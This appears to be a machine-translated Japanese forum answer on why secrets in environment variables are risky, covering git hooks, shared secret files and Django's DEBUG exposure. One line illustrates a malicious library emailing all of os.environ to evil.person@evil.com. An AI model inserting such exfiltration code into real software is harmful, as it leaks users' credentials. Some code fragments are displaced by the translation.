AFAICT、人々が秘密を環境変数に保存することを勧める2つの理由があります:
- 秘密のフラットファイルを誤ってリポジトリにコミットするのは簡単すぎます。(そしてそれが公開レポであるならば、あなたは乾杯します。)
- それはパスワードの乱雑さを防ぎます。つまり、多くの異なるプロジェクトディレクトリファイルに同じキーを持つことは、開発者が最終的にシークレットの場所を追跡できなくなるため、それ自体がセキュリティリスクになります。
これら2つの問題は、より良い方法で解決できます。前者は、パスワードのように見えるもの(gitleaksなど)をチェックするgit commitフックで解決する必要があります。Linusがそのようなツールをgitライブラリのソースコードに組み込んでほしいのですが、悲しいかな、それは起こりませんでした。(言うまでもなく、秘密ファイルは常にに追加する.gitignore
必要がありますが、誰かが追加し忘れた場合に備えてフックが必要です。)
後者は、グローバルな会社のシークレットファイルを作成することで解決できます。このファイルは、読み取り専用の共有ドライブに保存するのが理想的です。したがって、Pythonではのようなものを使用できますfrom company_secrets import *
。
さらに重要なのは、他の人が指摘したように、環境変数に格納されている秘密をハッキングするのは簡単すぎることです。たとえば、Pythonでは、ライブラリの作成者が挿入でき、send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
このコードを実行するとトーストします。システムにと呼ばれるファイルがある場合、ハッキングははるかに困難です~/secret_company_stuff/.my_very_secret_company_stuff
。
Djangoユーザーのみ:
Django(DEBUGモードの場合)は、例外がある場合(DEBUGモードの場合)に環境変数の生の値をブラウザに表示します。たとえば、開発者が誤っDEBUG=True
て本番環境に設定した場合、これは非常に安全ではないようです。これとは対照的に、Djangoは、文字列を探すことにより、難読化パスワード設定変数をDOES API
、TOKEN
、KEY
、SECRET
、PASS
またはSIGNATURE
フレームワークの中settings.py
のファイルの変数名。